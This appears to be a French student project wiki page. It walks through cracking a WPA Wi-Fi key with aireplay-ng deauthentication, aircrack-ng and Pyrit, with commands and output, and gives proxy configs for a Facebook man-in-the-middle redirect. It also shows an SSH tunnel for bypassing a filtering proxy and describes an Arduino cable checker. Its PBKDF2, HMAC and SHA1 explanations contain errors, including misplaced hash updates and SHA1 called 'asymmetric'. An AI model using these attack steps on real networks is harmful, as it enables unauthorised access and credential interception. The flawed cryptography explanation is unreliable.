# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
